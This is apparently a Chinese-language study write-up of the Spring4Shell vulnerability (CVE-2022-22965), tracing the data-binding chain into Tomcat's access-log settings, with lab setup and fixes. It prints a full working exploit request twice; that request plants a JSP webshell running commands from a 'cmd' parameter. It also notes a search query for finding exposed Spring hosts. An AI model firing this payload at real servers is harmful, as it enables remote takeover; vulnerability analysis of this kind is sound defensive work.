Spring-CVE-2022-22965 学习
Spring-CVE-2022-22965
序言
cve-2022-22965已经公布一段时间了,可谓三月安全圈最大的瓜,同时官方也发布了通告(https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement),为了方便观看我使用了google翻译了一下
总结下官方的意思:受影响的web应用必须是java9及以上,并且应用使用war包部署的形式在tomcat上运行,对应的Spring Framework版本如上截图。
漏洞利用条件
使用Spring参数绑定
jdk版本号 >= 9
当前应用以war包的方式在tomcat上运行
漏洞分析
前置知识
Tomcat AccessLogValue
这里涉及到Tomcat AccessLogValue,AccessLogValve用来设置访问日志access_log,Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve。
可以看到其Valve标签中的属性:
suffix:后缀
directory:日志输出位置
prefix:文件名前缀
pattern:文件内容格式
Spring参数绑定
定义一个BeanParam,其中有name属性
package com.example; public class BeanParam { private String name; public BeanParam() { } public BeanParam(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public String toString() { return "BeanParam{" + "name='" + name + '\'' + '}'; } }
在传统的java中调用中需要先将BeanParam实例化才能调用设置其属性,在spring中帮我们解决了这个过程,直接调用即可
package com.example; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class TestController { public TestController() { System.out.printf("Test Init"); } @RequestMapping("test") public Object test(BeanParam beanParam){ return beanParam.toString(); } }
Spring初始化
package com.example; import org.springframework.web.WebApplicationInitializer; import org.springframework.web.context.support.AnnotationConfigWebApplicationContext; import org.springframework.web.servlet.DispatcherServlet; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRegistration; public class ApplicationInitializer implements WebApplicationInitializer { @Override public void onStartup(ServletContext servletContext) throws ServletException { AnnotationConfigWebApplicationContext ctx = new AnnotationConfigWebApplicationContext(); ctx.register(TestController.class); DispatcherServlet servlet = new DispatcherServlet(ctx); ServletRegistration.Dynamic registration = servletContext.addServlet("openx", servlet); registration.setLoadOnStartup(1); registration.addMapping("/openx/*"); } }
绑定过程实现过程
访问url:http://localhost:8080/cve_2022_22965_war/openx/test?name=tom
由于整个过程较多,我们挑漏洞产生处为重点,断点处BeanWrapperImple的230行处
如上图代码走进getPropertyDescriptor时会获取属性描述,在我们的BeanParam实例中实际只有name一个属性,而此时却出现了class属性,并且指向我们的BeanParam,该漏洞就是利⽤这个 class 对象构造利⽤链,众所周知,所有Java对象都拥有一个getClass()方法,获取这个对象的Class;而Class对象又有getClassLoader()方法,来获取这个Class的ClassLoader;而在Tomcat中,一些和Tomcat的全局配置相关的属性都保存在org.apache.catalina.loader.ParallelWebappClassLoader
这个Tomcat专属的ClassLoader的一些属性、子孙属性里。 那么,我们就可以通过person.getClass().getClassLoader().getXXX()来调用ParallelWebappClassLoader中的一些敏感属性,最后通过修改Tomcat的配置来执行危险操作,最简单的方式便是利用AccessLogValue修改tomcat配置,这个利用方式最早在CVE-2010-1622出现过,后来官方进行了修复,而此次则是利用jdk9的Class对象中多了一个Module类的属性的特性,而Module类中也存在getClassLoader()方法,绕过了之前的修复。利用链如下:
BeanParam.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.getPattern()
AccessLogValue.setPattern("xxxxxxx")
payload分析
目前github上已公开利用脚本,我们看一下其内容
这里我把关键的内容摘选出来
"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
执行上述脚本之后会在webapps/ROOT生成一句话木马的脚本tomcatwar.jsp,为什么会这样呢?
这里我们先分析其中一段class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
是怎么实现的
核心的地方在BeanWrapperImple,把类的get,set方法通过BeanWrapper使用,动态的修改bean的一些属性。在BeanWrapperImpl类230打断点
链式调用的第一步getClass(),可以看到spring利用反射执行了方法getClass
当代码走到AbstractNestablePropertyAccessor类820处时断点
代码走到断点处可查看对我们传入的payload进行了怎样的处理,进入getFirstNestedPropertySeparatorIndex方法,从方法可以知道是用来进行分隔的,通过"["、 "]"、"."进行分隔,执行代码如下。
我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们可以通过idea查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。
递归第一次,可以看到已解析的嵌套参数class,及接下来要解析的module.classLoader.resources.context.parent.pipeline.first.prefix
接下来的步骤就不演示了,就是重复循环解析class的过程,如第二轮递归反射java.lang.Class.getmodule()方法,第三轮递归java.lang.Module.getclassLoader().....直到解析到org.apache.catalina.core.StandardPipeline.getFirst()方法,最后通过set方法对prefix进行赋值,可以看到下图最后使用set方法对oldValue进行了重置
走到这里我们完成了第一步,即设置tomcat日志前缀为tomcatwar,那同理,AccessLogAvlue的其他属性也可以进行赋值,原理一样。
漏洞利用复盘
通过上述漏洞分析,我们知道只要依次请求下面的调用链即可完成修改日志配置的目的
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
由于pattern中的%
会被过滤,所以使用引用头部的方式进行构造,可以看到c1、c2键值对,会被带入pattern数据中标识占位符的地方
headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded"
}
整个请求包如下:
POST /cve_2022_22965_war/openx/test HTTP/1.1 Host: 127.0.0.1:8080 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 suffix: %>// c1: Runtime c2: <%DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 762 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
执行上述payload之后我们会在webapps\ROOT下发现生成tomcatwar.jsp文件。
最后我们再访问webshell
环境搭建
有基础的同学可以自己搭建一个小demo,方便调试,pom.xml文件如下
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>cve-2022-22965</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <properties> <maven.compiler.source>9</maven.compiler.source> <maven.compiler.target>9</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.17</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.3.17</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-site-plugin</artifactId> <version>3.3</version> </plugin> </plugins> </build> </project>
代码直接使用Spring参数绑定处介绍的三段代码即可
没有基础的可以直接使用docker起一个相关应用服务
docker命令如下: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29
不过在最后复盘的时候还是要强调一点,修改tomcat日志配置之后所有的访问日志都会记录到该jsp文件中,实际利用中如果项目不重启该配置或删除该文件,文件则会越来越大,存在DOS风险。当然,目前已知的利用方式是通过修改tomcat日志完成rce,或许有别的地方可以RCE,不仅仅只限于tomcat,所以项目应用尽早修复到官方指定版本。
批量利用思路
github已经公开了批量漏洞利用脚本,可以通过fofa、hunter等平台批量搜索spring资产,但极其不建议在不清楚漏洞危害的情况下刷漏洞,原因如上,存在DOS风险。
如hunter的语法:web.icon=="0488faca4c19046b94d07c3ee83cf9d6"
漏洞修复
1、升级到当前最新Spring Framework版本
2、升级Tomcat,在此次漏洞之后tomcat也做出相应调整,升级到10.0.20、9.0.62、8.5.78版本
3、降级JDK版本到java8
4、通过全局设置来禁用某些特定字段
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}